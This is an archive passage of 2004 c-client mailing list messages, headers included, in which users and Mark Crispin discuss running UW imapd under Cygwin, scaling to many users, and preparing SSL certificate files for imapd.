13:17:37 -0500 (CDT) Message-Id: Date: Sun, 29 Aug 2004 13:17:35 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Riggs To: overbored Cc: c-client@u.washington.edu Subject: Re: Help Running UW-IMAPD Under Cygwin In-Reply-To: <41317CF4.4070109@overbored.net> References: <41317CF4.4070109@overbored.net> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 2.64-2004080502 (2004-01-11) on zion.christianserving.org X-Spam-Level: X-Spam-Status: No, hits=-104.9 required=6.3 tests=BAYES_00,USER_IN_WHITELIST autolearn=ham version=2.64-2004080502 X-Sanitizer: Anomy X-Virus-Scanned: ClamAV X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I'm trying to get an IMAP server running, and it seems my only option > today is uw-imapd. The cygwin package for that is installed, and I > created an 'imap' file under xinetd.d with the following: > > But I cannot make any connection to localhost:143 (nothing listening). > I can connect to the other xinetd services fine (ftp), just not this > one, and I've checked that 'imap' was in /etc/services. I've done a > ton of searching to get where I am, but now I'm at a dead end. Any > ideas? Did you restart or kill -HUP xinetd after creating the imap file? What do the xinetd log entries in syslog say? It should pick up the new imap service... - Jim From pinedev@shivax2.cac.washington.edu Sun Aug 29 11:32:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 11:32:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIWDkm001189 for ; Sun, 29 Aug 2004 11:32:13 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIWCKg032284 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 11:32:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7TIUu3m012968; Sun, 29 Aug 2004 11:30:57 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TITNMw056148 for ; Sun, 29 Aug 2004 11:29:23 -0700 Received: from rs15.luxsci.com (rs15.luxsci.com [65.61.166.71]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TITMNW000807 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 11:29:23 -0700 Received: from luxsci.com (h00a0cc5b0d4a.ne.client2.attbi.com [65.96.147.245]) (authenticated bits=0) by rs15.luxsci.com (8.12.11/8.12.10) with ESMTP id i7TITJVY005878 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 29 Aug 2004 13:29:20 -0500 Message-Id: <41322072.7090004@luxsci.com> Date: Sun, 29 Aug 2004 14:29:06 -0400 Reply-To: kangas@luxsci.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Kangas To: Mark Crispin , c-client@u.washington.edu Subject: Re: Supporting a very large number of users on a Linux machine In-Reply-To: References: <412778F7.8010108@arcor.de> <41277A7C.1030209@arcor.de> <41320CFD.1050708@luxsci.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __C230066_P5 0, EMAIL_ATTRIBUTION 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > I personally believe in 32-bit UNIX UIDs. > I just found out that Linux kernels 2.4+ are 32bit UID native, so that solves much of the problem! The only remaining issue is the fact that using an database-based authenticator (as opposed to a password file) can be much faster when you have a lot of users on one machine... so we may still persue some of the modifications that would enable that. Thank you, -Erik Kangas -- Erik Kangas, Ph.D. --- President of Lux Scientiae, Incorporated Lux Scientiae: 1-800-441-6612 P.O. Box 326 FAX: 1-413-332-0598 Westwood, Massachusetts Cell: 1-617-596-9558 02090, USA AIM Chat: Screen Name "luxsci" kangas@luxsci.com --- http://luxsci.com From pinedev@shivax2.cac.washington.edu Sun Aug 29 11:45:53 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 11:45:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIjr3A004234 for ; Sun, 29 Aug 2004 11:45:53 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIjoO0032192 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 11:45:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7TIibDY015962; Sun, 29 Aug 2004 11:44:37 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIgmVt052040 for ; Sun, 29 Aug 2004 11:42:48 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIglot029614 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 11:42:47 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIgl95011745; Sun, 29 Aug 2004 11:42:47 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIglvS030797; Sun, 29 Aug 2004 11:42:47 -0700 Message-Id: Date: Sun, 29 Aug 2004 11:42:47 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Erik Kangas Cc: c-client@u.washington.edu Subject: Re: Supporting a very large number of users on a Linux machine In-Reply-To: <41322072.7090004@luxsci.com> References: <412778F7.8010108@arcor.de> <41277A7C.1030209@arcor.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 29 Aug 2004, Erik Kangas wrote: > The only remaining issue is the fact that using an database-based > authenticator (as opposed to a password file) can be much faster when you > have a lot of users on one machine... so we may still persue some of the > modifications that would enable that. Most Linux builds are PAM-based these days, so you're probably already set at the imapd end. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Aug 29 16:01:42 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 16:01:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TN1fdo029395 for ; Sun, 29 Aug 2004 16:01:42 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TN1fvI014453 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 16:01:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7TN0Y5u003728; Sun, 29 Aug 2004 16:00:34 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TMwaLk084328 for ; Sun, 29 Aug 2004 15:58:36 -0700 Received: from server883.dnslive.net (server883.dnslive.net [66.78.27.6]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TMwZmY000410 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 15:58:35 -0700 Received: from c-24-7-106-19.client.comcast.net ([24.7.106.19] helo=[127.0.0.1]) by server883.dnslive.net with asmtp (Exim 4.34) id 1C1YdD-00026g-Ch for c-client@u.washington.edu; Sun, 29 Aug 2004 18:58:39 -0400 Message-Id: <41325F9D.7090907@overbored.net> Date: Sun, 29 Aug 2004 15:58:37 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: overbored To: c-client@u.washington.edu Subject: Re: Help Running UW-IMAPD Under Cygwin In-Reply-To: <41317CF4.4070109@overbored.net> References: <41317CF4.4070109@overbored.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server883.dnslive.net X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - overbored.net X-Source: X-Source-Args: X-Source-Dir: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __NEW_DOMAIN_EXTENSIONS_2 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I figured out that problem, but now I have another few (hopefully quick) questions about IMAP in general: (1) I can log in, but I have no idea where the mail is. I can do an 'a examine inbox' (meaning 'inbox' exists, since 'a examine asdf' doesn't work), but where exactly is this inbox? The /var/mail directory doesn't exist, and there's no file on my file system called 'inbox'. 'a list "" *' seems to recursively list everything under my home dir. (2) I'd like to migrate my existing mail store (mbox format) to this IMAP. From what I've read, it seems that UW-IMAP also stores its messages in mbox format. But there's also a program called tmail to inject messages into IMAP. Can I just copy over my existing mbox files to wherever IMAP stores the messages (see #1), or do I have to use tmail? If I need to use tmail, how does one manually use it? Do you just pipe mbox data into it? (3) I would like to have mail coming from various POP accounts going into my IMAP mailboxes. I have learned how to use getmail; if I would like to use this with UW-IMAP, do I need to configure it to use tmail, or directly write to the mbox files? I've read somewhere about locking issues; is this the reason why tmail is needed? (4) (This is more of an IMAP protocol question.) I glanced at the RFC for IMAP. Is there the concept of views/search folders/dynamic filters? It seems that the 'mailbox' concept is like a folder, in that a message can only belong to one. The closest thing I could find was the attribute, but it was intended for things like 'read', etc.; can this be used for the above purpose, or is IMAP not a good protocol to use for searching? Thanks!!! For anybody curious about my original problem, the Cygwin syslog is accessed via the Event Viewer. From that I determined the problems: - the permissions on the /etc/xinetd.d/imap file - the CRLF line terminators in that file - the 'root' user doesn't exist on my system (had to use SYSTEM) overbored wrote: > I'm trying to get an IMAP server running, and it seems my only option > today is uw-imapd. The cygwin package for that is installed, and I > created an 'imap' file under xinetd.d with the following: > > # default: off > # description: The IMAP service allows remote users to access their mail > using \ > # an IMAP client such as Mutt, Pine, fetchmail, or Netscape \ > # Communicator. > service imap > { > socket_type = stream > wait = no > user = root > server = /usr/sbin/imapd > log_on_success += HOST DURATION > log_on_failure += HOST > disable = no > } > > But I cannot make any connection to localhost:143 (nothing listening). I > can connect to the other xinetd services fine (ftp), just not this one, > and I've checked that 'imap' was in /etc/services. I've done a ton of > searching to get where I am, but now I'm at a dead end. Any ideas? > > Another thing...how easy is it to configure UW-IMAP? From what I've > read, it seems that *everything* is configured in the source or Makefile > (no conf files, etc.). And if I'm not mistaken, UW-IMAP does not > directly support Cygwin, and had to be ported over. However, > /usr/share/doc/Cygwin/uw-imap-2002e.README says the author (Abraham > Backus) further modified it from what's on > http://sourceforge.net/projects/uw-imap-cygwin/, so what exactly should > I be modifying? The canonical homepage just points to the original > UW-IMAP site. I looked for but didn't find any personal website of > Abraham Backus. > > Please let me know if any further info is needed. Thanks in advance! > From pinedev@shivax2.cac.washington.edu Sun Aug 29 17:48:57 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 17:48:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U0muoc007507 for ; Sun, 29 Aug 2004 17:48:56 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U0mu80021958 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 17:48:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7U0lpoJ016918; Sun, 29 Aug 2004 17:47:51 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U0jrlw060260 for ; Sun, 29 Aug 2004 17:45:53 -0700 Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U0jq6h028170 for ; Sun, 29 Aug 2004 17:45:52 -0700 Received: from [192.168.1.10] (c-65-34-193-181.se.client2.attbi.com[65.34.193.181]) by comcast.net (rwcrmhc13) with SMTP id <2004083000455201500luk4de>; Mon, 30 Aug 2004 00:45:52 +0000 Message-Id: Date: Sun, 29 Aug 2004 20:45:51 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Randall Perry To: WUImap Subject: Using existing web server cert with ipop ssl Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __NEW_DOMAIN_EXTENSIONS_2 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a FAQ showing how to do this? I tried about a year ago but gave up do to lack of information. -- Randall Perry sysTame Xserve Web Hosting/Co-location Website Design/Development WebObjects Hosting Mac Consulting/Sales http://www.systame.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 29 18:07:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 18:07:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U170u8011707 for ; Sun, 29 Aug 2004 18:07:00 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U16xZC022828 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 18:06:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7U15jf8017222; Sun, 29 Aug 2004 18:05:45 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U14jqw094118 for ; Sun, 29 Aug 2004 18:04:45 -0700 Received: from jimsun.linxnet.com (jimsun.linxnet.com [64.32.196.134]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U14ics022899 for ; Sun, 29 Aug 2004 18:04:44 -0700 Received: by jimsun.linxnet.com (Postfix, from userid 332) id C14E6430E; Sun, 29 Aug 2004 21:04:43 -0400 (EDT) Message-Id: <20040830010443.C14E6430E@jimsun.linxnet.com> Date: Sun, 29 Aug 2004 21:04:43 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: jseymour@linxnet.com (Jim Seymour) To: c-client@u.washington.edu Cc: rgp@systame.com Subject: Re: Using existing web server cert with ipop ssl In-Reply-To: X-Sun-Charset: US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, EMAIL_ATTRIBUTION 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Randall Perry wrote: > > Is there a FAQ showing how to do this? I tried about a year ago but gave up > do to lack of information. I don't know if there's a FAQ, but there were these recent posts on the issue to the mailing list: | From: Kai Lanz | Subject: UW imapd and InstantSSL certs | | | We currently run imapd-2002e and support SSL authentication using | a certificate from Verisign. That cert is about to expire, and we're | replacing it with certs from InstantSSL (much much cheaper). | | It was easy to prepare the Verisign certs for use with imapd -- just | concatenate the server private key and the host certificate into | a file called imapd.pem and stick that in /local/ssl/certs/: | | cat server.key pangea.crt > imapd.pem | | InstantSSL gives us *two* certificates: a host certificate and a CA | certificate, i.e. a Comodo intermediate certificate. Can the UW imapd | work with this certificate-plus-intermediate configuration? What do | I need to do to prepare our new imapd.pem? | | -- Kai Lanz lanz@pangea.stanford.edu | From: Mark Crispin | Subject: Re: UW imapd and InstantSSL certs | | On Thu, 1 Jul 2004, Kai Lanz wrote: | > InstantSSL gives us *two* certificates: a host certificate and a CA | > certificate, i.e. a Comodo intermediate certificate. Can the UW imapd | > work with this certificate-plus-intermediate configuration? What do | > I need to do to prepare our new imapd.pem? | | I don't know enough about this to give a guaranteed answer. Hey, I just | wrote the code, what makes anyone thing I know anything! :-) | | But anyway, it sounds to me that your host certificate is what would | become your imapd.pem (and is a private key for imapd). | | Separately, you want to install the CA certificate, including making the | funny symlink via | ln -s Comodo.pem `/usr/local/ssl/bin/openssl x509 -noout -hash < Comodo.pem`.0 | (substitute the CA certificate's file name for "Comodo.pem") which will | make a symlink with an 8-digit hex value and an extension of .0 that | points to the CA certificate's PEM file | | The CA certificate is for Pine to be able to validate what IMAP offers; so | the CA certificate should be publicly-readable and the imapd.pem should be | read-protected. | | -- Mark -- | From: jseymour@LinxNet.com (Jim Seymour) | Subject: Re: UW imapd and InstantSSL certs | | Kai Lanz wrote: | > | > | [snip] | > | > InstantSSL gives us *two* certificates: a host certificate and a CA | > certificate, i.e. a Comodo intermediate certificate. Can the UW imapd | > work with this certificate-plus-intermediate configuration? What do | > I need to do to prepare our new imapd.pem? | | Luckily (for you) I just went through this. (UW IMAP's pop3d and | Postfix SMTP-AUTH/TLS/STARTTLS) | | There will be four components to what you'll have to put in imapd.pem, | when using InstantSSL/Comodo certs: | | Server private key | Your server cert. | N-year Comodo intermediate cert. | GTE N-year root (?) cert. | | I don't know if the order's important, but that's the order I put them | in. | | Hope this helped. | | (Btw: I've been quite pleased with InstantSSL.) | | Jim | | From: Kai Lanz | Subject: SUMMARY: UW imapd and InstantSSL certs | | | Thanks to Mark Crispin and Jim Seymour for their quick responses. | I had asked about setting up the imapd.pem file using the several | certificates we get from InstantSSL. | | Jim's suggestion seems to be working for us: | | >There will be four components to what you'll have to put in imapd.pem, | >when using InstantSSL/Comodo certs: | > | > Server private key | > Your server cert. | > N-year Comodo intermediate cert. | > GTE N-year root (?) cert. | | I catted these four files into a new imapd.pem for our server: | | # cat server.key ourhost_domain_edu.crt ComodoSecurityServicesCA.crt \ | GTECyberTrustGlobalRoot.crt > imapd.pem.new | | Tests with Eudora and the MacOS X Mail.app clients worked as expected. | I'll probably set up the symlink Mark mentioned as well. | So there you go, Randall, hope this helps. Jim From pinedev@shivax2.cac.washington.edu Sun Aug 29 22:32:08 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 22:32:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U5W8MD019915 for ; Sun, 29 Aug 2004 22:32:08 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U5W7A7032272 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 22:32:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7U5U0Np015184; Sun, 29 Aug 2004 22:30:00 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U5SkL7060356 for ; Sun, 29 Aug 2004 22:28:46 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U5Skvr006081 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 22:28:46 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U5SjfC023355; Sun, 29 Aug 2004 22:28:45 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U5Sj0c008317; Sun, 29 Aug 2004 22:28:45 -0700 Message-Id: Date: Sun, 29 Aug 2004 22:28:45 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: overbored Cc: c-client@u.washington.edu Subject: Re: Help Running UW-IMAPD Under Cygwin In-Reply-To: <41325F9D.7090907@overbored.net> References: <41317CF4.4070109@overbored.net> <41325F9D.7090907@overbored.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The first thing that you must realize is that UW imapd was not developed for Cygwin; it was developed for UNIX. Cygwin gives a UNIX-like environment under Windows, but it is not UNIX. This fact is important in understanding various issues. I should also note that there is a native Windows build. For those who want to use UW imapd under Windows, I recommend using the native build rather than Cygwin. Some things are known not to work under Cygwin, because Cygwin is not a complete/100% accurate implementation of UNIX. On Sun, 29 Aug 2004, overbored wrote: > (1) I can log in, but I have no idea where the mail is. I can do an 'a > examine inbox' (meaning 'inbox' exists, since 'a examine asdf' doesn't work), > but where exactly is this inbox? It is very possible that no file for INBOX exists. In that case, INBOX (which always exists in IMAP) is empty. UW imapd will notice when an INBOX file is created and messages are put in it, and then the IMAP INBOX will go non-empty. Normally, an INBOX in UNIX will be the user's traditional UNIX format mailbox file in spool directory (e.g. /var/mail). This is one of those "not complete/100% accurate" issues that I alluded to above. An INBOX can also be one of several format-specific files (read the documentation about various mailbox formats); however note that only the mbx driver has been made to work under Cygwin and there are known Cygwin issues which break the other drivers. Perhaps at this point you're starting to recognize why I suggest using a real UNIX system, or the native Windows build, rather than Cygwin... > 'a list "" *' seems to > recursively list everything under my home dir. This is normal behavior, and is discussed in the FAQ. > (2) I'd like to migrate my existing mail store (mbox format) to this IMAP. > From what I've read, it seems that UW-IMAP also stores its messages in mbox > format. But there's also a program called tmail to inject messages into IMAP. > Can I just copy over my existing mbox files to wherever IMAP stores the > messages Yes. tmail is for mail delivery. What you're doing is copying messages. Note that the native Windows build can also read traditional UNIX mailbox format; although it would be better if you transfer those files in ASCII mode so they are in CRLF format. > (3) I would like to have mail coming from various POP accounts going into my > IMAP mailboxes. I have learned how to use getmail; if I would like to use > this with UW-IMAP, do I need to configure it to use tmail, or directly write > to the mbox files? I don't know anything about getmail. > I've read somewhere about locking issues; is this the > reason why tmail is needed? tmail is for mail delivery (being called from sendmail or whatever SMTP server you are using). That is not the same as copying mail from a POP server. The locking issues are that Cygwin implements locking like Windows (surprise!) rather than like UNIX. The native Windows build knows about this, and the native Windows drivers use Windows style locking. The UNIX build, which is what Cygwin uses, thinks that locking is UNIX style, but in actuality Cygwin just has a subroutine which looks like UNIX style but actually is Windows style. Not the same thing. The mbx driver has been kludged to work around the subtle differences, but the other drivers have not. > (4) (This is more of an IMAP protocol question.) I glanced at the RFC for > IMAP. Is there the concept of views/search folders/dynamic filters? It seems > that the 'mailbox' concept is like a folder, in that a message can only > belong to one. The closest thing I could find was the attribute, but it was > intended for things like 'read', etc.; can this be used for the above > purpose, or is IMAP not a good protocol to use for searching? I don't understand this question. Please rephrase it, and avoid the use of the word "folder" which has imprecise meaning. Use the term "mailbox" (a name that holds messages), "directory" (a name that holds other names), or "dual-use name" (a name that is both a mailbox and a directory). > - the 'root' user doesn't exist on my system (had to use SYSTEM) Note that the UNIX version of UW imapd must be run as root and must be able to do a setuid to the target user. This, of course, has no meaning under Cygwin. Cygwin has a kludgy thing called cygwin_logon_user() which jackets into the Windows 